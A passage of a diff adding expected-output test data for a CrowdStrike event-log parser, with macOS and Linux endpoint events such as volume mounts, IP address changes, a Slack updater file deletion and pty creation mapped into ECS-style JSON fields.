+                "ContextTimeStamp": "2021-07-07T17:04:56.750Z",
+                "EffectiveTransmissionClass": "2",
+                "Entitlements": "15",
+                "VolumeAppearanceTime": "1625677422.647",
+                "VolumeBusName": "IONVMeController",
+                "VolumeBusPath": "IODeviceTree:/PCI0@0/RP01@1C/SSD0@0/IONVMeController",
+                "VolumeDeviceInternal": "1",
+                "VolumeDeviceModel": "APPLE SSD SM0256L",
+                "VolumeDevicePath": "IOService:/AppleACPIPlatformExpert/PCI0@0/AppleACPIPCI/RP01@1C/IOPP/SSD0@0/IONVMeController/IONVMeBlockStorageDevice@1",
+                "VolumeDeviceProtocol": "PCI-Express",
+                "VolumeDeviceRevision": "CXS4LA0Q",
+                "VolumeFileSystemDriver": "apfs",
+                "VolumeIsNetwork": "0",
+                "VolumeMediaBSDMajor": "1",
+                "VolumeMediaBSDMinor": "8",
+                "VolumeMediaBSDName": "disk1s3",
+                "VolumeMediaBSDUnit": "1",
+                "VolumeMediaContent": "41504653-0000-11AA-AA11-00306543ECAC",
+                "VolumeMediaEjectable": "0",
+                "VolumeMediaName": "AppleAPFSMedia",
+                "VolumeMediaPath": "IOService:/AppleACPIPlatformExpert/PCI0@0/AppleACPIPCI/RP01@1C/IOPP/SSD0@0/IONVMeController/IONVMeBlockStorageDevice@1/IOBlockStorageDriver/APPLE SSD SM0256L Media/IOGUIDPartitionScheme/NoName@2/AppleAPFSContainerScheme/AppleAPFSMedia/AppleAPFSContainer/Recovery@3",
+                "VolumeMediaRemovable": "0",
+                "VolumeMediaSize": "250685575168",
+                "VolumeMediaUUID": "AD0F4085-F901-4204-8C5D-441F365D4909",
+                "VolumeMediaWhole": "0",
+                "VolumeMediaWritable": "1",
+                "VolumeMountPoint": "/Volumes/Recovery",
+                "VolumeName": "Recovery",
+                "VolumeSectorSize": "4096",
+                "VolumeType": "APFS",
+                "VolumeUUID": "85400FAD-01F9-0442-8C5D-441F365D4909",
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "id": "ffffffff-1111-11eb-956a-02748d01bd3d",
+                "name": "FsVolumeMountedMacV1"
+            },
+            "device": {
+                "id": "ffffffff8eca418b7a861be9c5f7de1d"
+            },
+            "event": {
+                "action": "FsVolumeMounted",
+                "category": [
+                    "host"
+                ],
+                "created": "2021-07-07T17:04:56.804Z",
+                "id": "ffffffff-1111-11eb-956a-02748d01bd3d|ffffffff8eca418b7a861be9c5f7de1d|ffffffff15754bcfb5f9152ec7ac90ac",
+                "kind": "event",
+                "original": "{\"VolumeMediaName\":\"AppleAPFSMedia\",\"VolumeDeviceProtocol\":\"PCI-Express\",\"VolumeDeviceVendor\":\"\",\"ContextThreadId\":\"0\",\"VolumeMediaContent\":\"41504653-0000-11AA-AA11-00306543ECAC\",\"VolumeMediaEjectable\":\"0\",\"aip\":\"67.43.156.14\",\"VolumeAppearanceTime\":\"1625677422.647\",\"VolumeDeviceModel\":\"APPLE SSD SM0256L\",\"VolumeMediaBSDName\":\"disk1s3\",\"VolumeMountPoint\":\"/Volumes/Recovery\",\"event_platform\":\"Mac\",\"VolumeType\":\"APFS\",\"VolumeMediaRemovable\":\"0\",\"VolumeMediaBSDUnit\":\"1\",\"VolumeFileSystemDriver\":\"apfs\",\"id\":\"ffffffff-1111-11eb-956a-02748d01bd3d\",\"VolumeMediaSize\":\"250685575168\",\"EffectiveTransmissionClass\":\"2\",\"VolumeBusName\":\"IONVMeController\",\"timestamp\":\"1625677496804\",\"VolumeMediaBSDMinor\":\"8\",\"VolumeMediaWritable\":\"1\",\"event_simpleName\":\"FsVolumeMounted\",\"VolumeDevicePath\":\"IOService:/AppleACPIPlatformExpert/PCI0@0/AppleACPIPCI/RP01@1C/IOPP/SSD0@0/IONVMeController/IONVMeBlockStorageDevice@1\",\"VolumeName\":\"Recovery\",\"ContextTimeStamp\":\"1625677496.750\",\"VolumeSectorSize\":\"4096\",\"ConfigStateHash\":\"3090255842\",\"ContextProcessId\":\"365053546767850587\",\"VolumeBusPath\":\"IODeviceTree:/PCI0@0/RP01@1C/SSD0@0/IONVMeController\",\"VolumeDeviceInternal\":\"1\",\"ConfigBuild\":\"1007.4.0013701.1\",\"VolumeUUID\":\"85400FAD-01F9-0442-8C5D-441F365D4909\",\"VolumeDeviceRevision\":\"CXS4LA0Q\",\"Entitlements\":\"15\",\"name\":\"FsVolumeMountedMacV1\",\"VolumeMediaBSDMajor\":\"1\",\"VolumeMediaPath\":\"IOService:/AppleACPIPlatformExpert/PCI0@0/AppleACPIPCI/RP01@1C/IOPP/SSD0@0/IONVMeController/IONVMeBlockStorageDevice@1/IOBlockStorageDriver/APPLE SSD SM0256L Media/IOGUIDPartitionScheme/NoName@2/AppleAPFSContainerScheme/AppleAPFSMedia/AppleAPFSContainer/Recovery@3\",\"aid\":\"ffffffff8eca418b7a861be9c5f7de1d\",\"VolumeMediaUUID\":\"AD0F4085-F901-4204-8C5D-441F365D4909\",\"VolumeMediaWhole\":\"0\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"VolumeIsNetwork\":\"0\"}",
+                "outcome": "success",
+                "type": [
+                    "change"
+                ]
+            },
+            "host": {
+                "id": "ffffffff8eca418b7a861be9c5f7de1d",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "FsVolumeMounted",
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffff8eca418b7a861be9c5f7de1d",
+                "version": "1007.4.0013701.1"
+            },
+            "process": {
+                "entity_id": "365053546767850587",
+                "thread": {
+                    "id": 0
+                }
+            },
+            "related": {
+                "hash": [
+                    "3090255842"
+                ],
+                "ip": [
+                    "67.43.156.14"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2021-07-07T17:05:14.374Z",
+            "crowdstrike": {
+                "ConfigStateHash": "1156120155",
+                "InterfaceAlias": "eth0",
+                "InterfaceIndex": 2,
+                "InterfaceType": "1",
+                "LocalAddressIP4": [
+                    "67.43.156.14"
+                ],
+                "PhysicalAddressLength": 6,
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "id": "ffffffff-1111-11eb-9c94-0222a21bbb27",
+                "name": "LocalIpAddressIP4LinV1"
+            },
+            "device": {
+                "id": "ffffffff190e436aaebc3892bcda5beb"
+            },
+            "event": {
+                "action": "LocalIpAddressIP4",
+                "category": [
+                    "configuration",
+                    "host"
+                ],
+                "created": "2021-07-07T17:05:14.374Z",
+                "id": "ffffffff-1111-11eb-9c94-0222a21bbb27|ffffffff190e436aaebc3892bcda5beb|ffffffff15754bcfb5f9152ec7ac90ac",
+                "kind": "state",
+                "original": "{\"LocalAddressIP4\":\"67.43.156.14\",\"event_simpleName\":\"LocalIpAddressIP4\",\"ConfigStateHash\":\"1156120155\",\"CreationTimeStamp\":\"1625677513.841\",\"aip\":\"67.43.156.14\",\"PhysicalAddress\":\"0e-d6-ff-ff-ff-63\",\"InterfaceAlias\":\"eth0\",\"InterfaceIndex\":\"2\",\"ConfigBuild\":\"1007.8.0011611.1\",\"event_platform\":\"Lin\",\"InterfaceType\":\"1\",\"name\":\"LocalIpAddressIP4LinV1\",\"id\":\"ffffffff-1111-11eb-9c94-0222a21bbb27\",\"PhysicalAddressLength\":\"6\",\"aid\":\"ffffffff190e436aaebc3892bcda5beb\",\"timestamp\":\"1625677514374\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
+                "outcome": "success",
+                "type": [
+                    "change"
+                ]
+            },
+            "host": {
+                "id": "ffffffff190e436aaebc3892bcda5beb",
+                "os": {
+                    "type": "linux"
+                }
+            },
+            "message": "LocalIpAddressIP4",
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffff190e436aaebc3892bcda5beb",
+                "version": "1007.8.0011611.1"
+            },
+            "related": {
+                "hash": [
+                    "1156120155"
+                ],
+                "ip": [
+                    "67.43.156.14"
+                ]
+            },
+            "source": {
+                "address": "67.43.156.14",
+                "as": {
+                    "number": 35908
+                },
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": "67.43.156.14",
+                "mac": "0E-D6-FF-FF-FF-63"
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2021-07-07T17:04:40.056Z",
+            "crowdstrike": {
+                "ConfigStateHash": "3967242894",
+                "EffectiveTransmissionClass": "2",
+                "Entitlements": "15",
+                "InterfaceIndex": 8,
+                "LocalAddressIP6": [
+                    "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6"
+                ],
+                "NetLuidIndex": 0,
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "id": "ffffffff-1111-11eb-9dc2-029257dbe83b",
+                "name": "LocalIpAddressRemovedIP6MacV1"
+            },
+            "device": {
+                "id": "ffffffff44564c2f8d76394cb25c31ab"
+            },
+            "event": {
+                "action": "LocalIpAddressRemovedIP6",
+                "category": [
+                    "configuration",
+                    "host"
+                ],
+                "created": "2021-07-07T17:04:40.056Z",
+                "id": "ffffffff-1111-11eb-9dc2-029257dbe83b|ffffffff44564c2f8d76394cb25c31ab|ffffffff15754bcfb5f9152ec7ac90ac",
+                "kind": "state",
+                "original": "{\"event_simpleName\":\"LocalIpAddressRemovedIP6\",\"LocalAddressIP6\":\"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6\",\"ConfigStateHash\":\"3967242894\",\"aip\":\"67.43.156.13\",\"InterfaceIndex\":\"8\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"NetLuidIndex\":\"0\",\"Entitlements\":\"15\",\"name\":\"LocalIpAddressRemovedIP6MacV1\",\"id\":\"ffffffff-1111-11eb-9dc2-029257dbe83b\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff44564c2f8d76394cb25c31ab\",\"timestamp\":\"1625677480056\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
+                "outcome": "success",
+                "type": [
+                    "change"
+                ]
+            },
+            "host": {
+                "id": "ffffffff44564c2f8d76394cb25c31ab",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "LocalIpAddressRemovedIP6",
+            "observer": {
+                "address": [
+                    "67.43.156.13"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.13"
+                ],
+                "serial_number": "ffffffff44564c2f8d76394cb25c31ab",
+                "version": "1007.4.0013701.1"
+            },
+            "related": {
+                "hash": [
+                    "3967242894"
+                ],
+                "ip": [
+                    "67.43.156.13",
+                    "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6"
+                ]
+            },
+            "source": {
+                "address": "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6",
+                "geo": {
+                    "continent_name": "Europe",
+                    "country_iso_code": "NO",
+                    "country_name": "Norway",
+                    "location": {
+                        "lat": 62.0,
+                        "lon": 10.0
+                    }
+                },
+                "ip": "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6"
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2021-07-07T17:05:21.723Z",
+            "crowdstrike": {
+                "ConfigStateHash": "1620585913",
+                "EffectiveTransmissionClass": "2",
+                "Entitlements": "15",
+                "InDiscards": "0",
+                "InErrors": "0",
+                "InMulticastPkts": "0",
+                "InOctets": "0",
+                "InUcastPkts": "0",
+                "InUnknownProtos": "0",
+                "InterfaceAlias": "llw0",
+                "InterfaceIndex": 8,
+                "InterfaceType": "6",
+                "LocalAddressIP6": [
+                    "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6"
+                ],
+                "NetLuidIndex": 0,
+                "OutErrors": "0",
+                "OutMulticastPkts": "0",
+                "OutOctets": "0",
+                "OutUcastPkts": "0",
+                "PhysicalAddressLength": 6,
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "id": "ffffffff-1111-11eb-b88d-06b7cb0d7bd7",
+                "name": "LocalIpAddressIP6MacV1"
+            },
+            "device": {
+                "id": "ffffffff0ad7494e8e817b3903f4eebb"
+            },
+            "event": {
+                "action": "LocalIpAddressIP6",
+                "category": [
+                    "configuration",
+                    "host"
+                ],
+                "created": "2021-07-07T17:05:21.723Z",
+                "id": "ffffffff-1111-11eb-b88d-06b7cb0d7bd7|ffffffff0ad7494e8e817b3903f4eebb|ffffffff15754bcfb5f9152ec7ac90ac",
+                "kind": "state",
+                "original": "{\"OutOctets\":\"0\",\"CreationTimeStamp\":\"\",\"aip\":\"67.43.156.14\",\"OutMulticastPkts\":\"0\",\"InErrors\":\"0\",\"InterfaceAlias\":\"llw0\",\"InDiscards\":\"0\",\"InterfaceIndex\":\"8\",\"event_platform\":\"Mac\",\"InterfaceType\":\"6\",\"id\":\"ffffffff-1111-11eb-b88d-06b7cb0d7bd7\",\"PhysicalAddressLength\":\"6\",\"InUcastPkts\":\"0\",\"EffectiveTransmissionClass\":\"2\",\"timestamp\":\"1625677521723\",\"event_simpleName\":\"LocalIpAddressIP6\",\"LocalAddressIP6\":\"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6\",\"ConfigStateHash\":\"1620585913\",\"PhysicalAddress\":\"c2-27-b0-27-83-0f\",\"OutErrors\":\"0\",\"InUnknownProtos\":\"0\",\"OutUcastPkts\":\"0\",\"InMulticastPkts\":\"0\",\"ConfigBuild\":\"1007.4.0013701.1\",\"InOctets\":\"0\",\"NetLuidIndex\":\"0\",\"Entitlements\":\"15\",\"name\":\"LocalIpAddressIP6MacV1\",\"aid\":\"ffffffff0ad7494e8e817b3903f4eebb\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
+                "outcome": "success",
+                "type": [
+                    "change"
+                ]
+            },
+            "host": {
+                "id": "ffffffff0ad7494e8e817b3903f4eebb",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "LocalIpAddressIP6",
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffff0ad7494e8e817b3903f4eebb",
+                "version": "1007.4.0013701.1"
+            },
+            "related": {
+                "hash": [
+                    "1620585913"
+                ],
+                "ip": [
+                    "67.43.156.14",
+                    "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6"
+                ]
+            },
+            "source": {
+                "address": "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6",
+                "geo": {
+                    "continent_name": "Europe",
+                    "country_iso_code": "NO",
+                    "country_name": "Norway",
+                    "location": {
+                        "lat": 62.0,
+                        "lon": 10.0
+                    }
+                },
+                "ip": "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6",
+                "mac": "C2-27-B0-27-83-0F"
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2021-07-07T17:05:07.086Z",
+            "crowdstrike": {
+                "ConfigStateHash": "3090255842",
+                "ConnectionFlags": "0",
+                "ContextProcessId": "364432308748445743",
+                "ContextTimeStamp": "2021-07-07T17:05:07.037Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "15",
+                "InContext": "0",
+                "LocalAddressIP4": [
+                    "0.0.0.0"
+                ],
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "id": "ffffffff-1111-11eb-8b36-06a8af5164a9",
+                "name": "NetworkListenIP4MacV10"
+            },
+            "destination": {
+                "address": "0.0.0.0",
+                "ip": "0.0.0.0",
+                "port": 0
+            },
+            "device": {
+                "id": "ffffffff23d24c4193ffa6f270775ee5"
+            },
+            "event": {
+                "action": "NetworkListenIP4",
+                "category": [
+                    "network"
+                ],
+                "created": "2021-07-07T17:05:07.086Z",
+                "id": "ffffffff-1111-11eb-8b36-06a8af5164a9|ffffffff23d24c4193ffa6f270775ee5|ffffffff15754bcfb5f9152ec7ac90ac",
+                "kind": "event",
+                "original": "{\"LocalAddressIP4\":\"0.0.0.0\",\"event_simpleName\":\"NetworkListenIP4\",\"ContextTimeStamp\":\"1625677507.037\",\"ConfigStateHash\":\"3090255842\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"364432308748445743\",\"RemotePort\":\"0\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"LocalPort\":\"50647\",\"Entitlements\":\"15\",\"name\":\"NetworkListenIP4MacV10\",\"id\":\"ffffffff-1111-11eb-8b36-06a8af5164a9\",\"Protocol\":\"6\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ffffffff23d24c4193ffa6f270775ee5\",\"RemoteAddressIP4\":\"0.0.0.0\",\"ConnectionDirection\":\"2\",\"InContext\":\"0\",\"timestamp\":\"1625677507086\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
+                "outcome": "success",
+                "type": [
+                    "start"
+                ]
+            },
+            "host": {
+                "id": "ffffffff23d24c4193ffa6f270775ee5",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "NetworkListenIP4",
+            "network": {
+                "direction": "unknown",
+                "iana_number": "6",
+                "transport": "tcp"
+            },
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffff23d24c4193ffa6f270775ee5",
+                "version": "1007.4.0013701.1"
+            },
+            "process": {
+                "entity_id": "364432308748445743"
+            },
+            "related": {
+                "hash": [
+                    "3090255842"
+                ],
+                "ip": [
+                    "67.43.156.14",
+                    "0.0.0.0"
+                ]
+            },
+            "source": {
+                "address": "0.0.0.0",
+                "ip": "0.0.0.0",
+                "port": 50647
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2021-07-07T17:05:36.784Z",
+            "crowdstrike": {
+                "ConfigStateHash": "3090255842",
+                "ContextProcessId": "364994904864288322",
+                "ContextTimeStamp": "2021-07-07T17:05:36.729Z",
+                "EffectiveTransmissionClass": "2",
+                "Entitlements": "15",
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "id": "ffffffff-1111-11eb-8ca0-0231588e8cbb",
+                "name": "ExecutableDeletedMacV1"
+            },
+            "device": {
+                "id": "ffffffffa7bf46da689501ce58bd6987"
+            },
+            "event": {
+                "action": "ExecutableDeleted",
+                "category": [
+                    "file"
+                ],
+                "created": "2021-07-07T17:05:36.784Z",
+                "id": "ffffffff-1111-11eb-8ca0-0231588e8cbb|ffffffffa7bf46da689501ce58bd6987|ffffffff15754bcfb5f9152ec7ac90ac",
+                "kind": "event",
+                "original": "{\"event_simpleName\":\"ExecutableDeleted\",\"ContextTimeStamp\":\"1625677536.729\",\"ConfigStateHash\":\"3090255842\",\"ContextProcessId\":\"364994904864288322\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"ExecutableDeletedMacV1\",\"id\":\"ffffffff-1111-11eb-8ca0-0231588e8cbb\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffffa7bf46da689501ce58bd6987\",\"timestamp\":\"1625677536784\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"/Users/user3/Library/Caches/com.tinyspeck.slackmacgap.ShipIt/update.FXKsmFO/Slack.app/Contents/Frameworks/Squirrel.framework/Versions/A/Resources/ShipIt\"}",
+                "outcome": "success",
+                "type": [
+                    "deletion"
+                ]
+            },
+            "file": {
+                "directory": "/Users/user3/Library/Caches/com.tinyspeck.slackmacgap.ShipIt/update.FXKsmFO/Slack.app/Contents/Frameworks/Squirrel.framework/Versions/A/Resources",
+                "name": "ShipIt",
+                "path": "/Users/user3/Library/Caches/com.tinyspeck.slackmacgap.ShipIt/update.FXKsmFO/Slack.app/Contents/Frameworks/Squirrel.framework/Versions/A/Resources/ShipIt",
+                "type": "file"
+            },
+            "host": {
+                "id": "ffffffffa7bf46da689501ce58bd6987",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "ExecutableDeleted",
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffffa7bf46da689501ce58bd6987",
+                "version": "1007.4.0013701.1"
+            },
+            "process": {
+                "entity_id": "364994904864288322",
+                "thread": {
+                    "id": 0
+                }
+            },
+            "related": {
+                "hash": [
+                    "3090255842"
+                ],
+                "ip": [
+                    "67.43.156.14"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2021-07-07T17:05:04.614Z",
+            "crowdstrike": {
+                "ConfigStateHash": "3090255842",
+                "ContextProcessId": "362897421906895953",
+                "ContextTimeStamp": "2021-07-07T17:05:04.542Z",
+                "EffectiveTransmissionClass": "2",
+                "Entitlements": "15",
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "id": "ffffffff-1111-11eb-9320-06d410e6f705",
+                "name": "GzipFileWrittenMacV1"
+            },
+            "device": {
+                "id": "fffffffffc2c4e4fa9c08e1a8388e5f9"
+            },
+            "event": {
+                "action": "GzipFileWritten",
+                "category": [
+                    "file"
+                ],
+                "created": "2021-07-07T17:05:04.614Z",
+                "id": "ffffffff-1111-11eb-9320-06d410e6f705|fffffffffc2c4e4fa9c08e1a8388e5f9|ffffffff15754bcfb5f9152ec7ac90ac",
+                "original": "{\"event_simpleName\":\"GzipFileWritten\",\"ContextTimeStamp\":\"1625677504.542\",\"ConfigStateHash\":\"3090255842\",\"ContextProcessId\":\"362897421906895953\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.14\",\"FileIdentifier\":\"04000001000000000000000000000000501f510700000000\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"GzipFileWrittenMacV1\",\"id\":\"ffffffff-1111-11eb-9320-06d410e6f705\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"fffffffffc2c4e4fa9c08e1a8388e5f9\",\"timestamp\":\"1625677504614\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"/private/var/db/powerlog/Library/BatteryLife/Archives/powerlog_2021-07-05_CC5F9FC1.PLSQL.gz\"}"
+            },
+            "file": {
+                "directory": "/private/var/db/powerlog/Library/BatteryLife/Archives",
+                "extension": "gz",
+                "inode": "04000001000000000000000000000000501f510700000000",
+                "name": "powerlog_2021-07-05_CC5F9FC1.PLSQL.gz",
+                "path": "/private/var/db/powerlog/Library/BatteryLife/Archives/powerlog_2021-07-05_CC5F9FC1.PLSQL.gz",
+                "type": "file"
+            },
+            "host": {
+                "id": "fffffffffc2c4e4fa9c08e1a8388e5f9",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "GzipFileWritten",
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "fffffffffc2c4e4fa9c08e1a8388e5f9",
+                "version": "1007.4.0013701.1"
+            },
+            "process": {
+                "entity_id": "362897421906895953",
+                "thread": {
+                    "id": 0
+                }
+            },
+            "related": {
+                "hash": [
+                    "3090255842"
+                ],
+                "ip": [
+                    "67.43.156.14"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2021-07-07T17:04:40.056Z",
+            "crowdstrike": {
+                "ConfigStateHash": "3967242894",
+                "ContextTimeStamp": "2021-07-07T01:52:50.595Z",
+                "EffectiveTransmissionClass": "2",
+                "Entitlements": "15",
+                "IOServiceClass": "IOUSBDevice:IOUSBNub:IOService:IORegistryEntry:OSObject",
+                "IOServiceName": "Touch Bar Backlight",
+                "IOServicePath": "IOService:/IOResources/AppleUSBHostResources/AppleUSBLegacyRoot/AppleUSBVHCIBCE@80000000/Touch Bar Backlight@80700000",
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "id": "ffffffff-1111-11eb-9dc2-029257dbe83b",
+                "name": "IOServiceRegisterMacV1"
+            },
+            "device": {
+                "id": "ffffffff44564c2f8d76394cb25c31ab"
+            },
+            "event": {
+                "action": "IOServiceRegister",
+                "category": [
+                    "package"
+                ],
+                "created": "2021-07-07T17:04:40.056Z",
+                "id": "ffffffff-1111-11eb-9dc2-029257dbe83b|ffffffff44564c2f8d76394cb25c31ab|ffffffff15754bcfb5f9152ec7ac90ac",
+                "kind": "event",
+                "original": "{\"event_simpleName\":\"IOServiceRegister\",\"ContextTimeStamp\":\"1625622770.595\",\"ConfigStateHash\":\"3967242894\",\"aip\":\"67.43.156.13\",\"IOServiceClass\":\"IOUSBDevice:IOUSBNub:IOService:IORegistryEntry:OSObject\",\"ConfigBuild\":\"1007.4.0013701.1\",\"IOServicePath\":\"IOService:/IOResources/AppleUSBHostResources/AppleUSBLegacyRoot/AppleUSBVHCIBCE@80000000/Touch Bar Backlight@80700000\",\"event_platform\":\"Mac\",\"IOServiceProperties\":\"\",\"Entitlements\":\"15\",\"name\":\"IOServiceRegisterMacV1\",\"id\":\"ffffffff-1111-11eb-9dc2-029257dbe83b\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff44564c2f8d76394cb25c31ab\",\"IOServiceName\":\"Touch Bar Backlight\",\"timestamp\":\"1625677480056\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
+                "outcome": "success",
+                "type": [
+                    "change"
+                ]
+            },
+            "host": {
+                "id": "ffffffff44564c2f8d76394cb25c31ab",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "IOServiceRegister",
+            "observer": {
+                "address": [
+                    "67.43.156.13"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.13"
+                ],
+                "serial_number": "ffffffff44564c2f8d76394cb25c31ab",
+                "version": "1007.4.0013701.1"
+            },
+            "related": {
+                "hash": [
+                    "3967242894"
+                ],
+                "ip": [
+                    "67.43.156.13"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2021-07-07T17:04:38.739Z",
+            "crowdstrike": {
+                "ConfigStateHash": "3967242894",
+                "ContextProcessId": "364938416497226937",
+                "ContextTimeStamp": "2021-07-07T01:50:02.031Z",
+                "DeviceId": "251658248",
+                "EffectiveTransmissionClass": "2",
+                "Entitlements": "15",
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "id": "ffffffff-1111-11eb-9dc2-029257dbe83b",
+                "name": "PtyCreatedMacV1"
+            },
+            "device": {
+                "id": "251658248"
+            },
+            "event": {
+                "action": "PtyCreated",
+                "category": [
+                    "file"
+                ],
+                "created": "2021-07-07T17:04:38.739Z",
+                "id": "ffffffff-1111-11eb-9dc2-029257dbe83b|ffffffff44564c2f8d76394cb25c31ab|ffffffff15754bcfb5f9152ec7ac90ac",
+                "kind": "event",
+                "original": "{\"event_simpleName\":\"PtyCreated\",\"ContextTimeStamp\":\"1625622602.031\",\"ConfigStateHash\":\"3967242894\",\"ContextProcessId\":\"364938416497226937\",\"DeviceId\":\"251658248\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.13\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"PtyCreatedMacV1\",\"id\":\"ffffffff-1111-11eb-9dc2-029257dbe83b\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff44564c2f8d76394cb25c31ab\",\"timestamp\":\"1625677478739\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
+                "outcome": "success",
+                "type": [
+                    "creation"
+                ]
+            },
+            "host": {
+                "id": "ffffffff44564c2f8d76394cb25c31ab",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "PtyCreated",
+            "observer": {
+                "address": [
+                    "67.43.156.13"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
